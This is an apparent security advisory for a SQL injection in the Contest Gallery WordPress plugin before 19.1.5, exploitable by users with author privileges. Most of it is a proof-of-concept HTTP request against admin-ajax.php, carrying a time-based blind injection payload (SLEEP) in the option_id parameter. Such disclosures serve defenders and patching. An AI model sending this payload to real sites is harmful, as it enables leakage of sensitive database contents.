Contest Gallery < 19.1.5 - Author+ SQL Injection

The plugins do not escape the option_id POST parameter before concatenating it to an SQL query in order-custom-fields-with-and-without-search.php. This may allow malicious users with at least author privilege to leak sensitive information from the site’s database.

PoC

POST /wp-admin/admin-ajax.php?option_id=1+AND+(SELECT+7394+FROM+(SELECT(SLEEP(5)))UrUZ) HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8080/wp-admin/admin.php?page=contest-gallery%2Findex.php X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------14380037532152506451161945074 Content-Length: 1230 Origin: http://localhost:8080 Connection: close Cookie: wordpress_37d007a56d816107ce5b52c10342db37=pegasus%7C1668734427%7CUHijoj82qZ3zggyrkh30RBG6N1IDmWR8ZDV3fZNzCre%7C6333e4fa1fc3f8961218830b63c9910e36a1507d9530ee857dda65208e7bd3bf; wp-settings-time-2=1667954049; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=pegasus%7C1668734427%7CUHijoj82qZ3zggyrkh30RBG6N1IDmWR8ZDV3fZNzCre%7Cd34e5c9317c939593831376a9467f195ca7e97151d2f965acdbc84aeb291c5b7; wp-settings-time-5=1668467252; wp-settings-5=libraryContent%3Dbrowse Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin -----------------------------14380037532152506451161945074 Content-Disposition: form-data; name=“action” post_cg_gallery_view_control_backend -----------------------------14380037532152506451161945074 Content-Disposition: form-data; name=“cgGalleryHash” 355b5e0384230f74e41bc47f47d94aef -----------------------------14380037532152506451161945074 Content-Disposition: form-data; name=“cg_id” 1 -----------------------------14380037532152506451161945074 Content-Disposition: form-data; name=“cg_start” 0 -----------------------------14380037532152506451161945074 Content-Disposition: form-data; name=“cg_step” 10 -----------------------------14380037532152506451161945074 Content-Disposition: form-data; name=“cg_order” cg_input__for_id_4_id_desc -----------------------------14380037532152506451161945074 Content-Disposition: form-data; name=“cgVersionScripts” 19.1.4.1 -----------------------------14380037532152506451161945074 Content-Disposition: form-data; name=“cg_search” -----------------------------14380037532152506451161945074 Content-Disposition: form-data; name=“cgBackendHash” e12e8782da8ac6c4f1725d81a9811524 -----------------------------14380037532152506451161945074–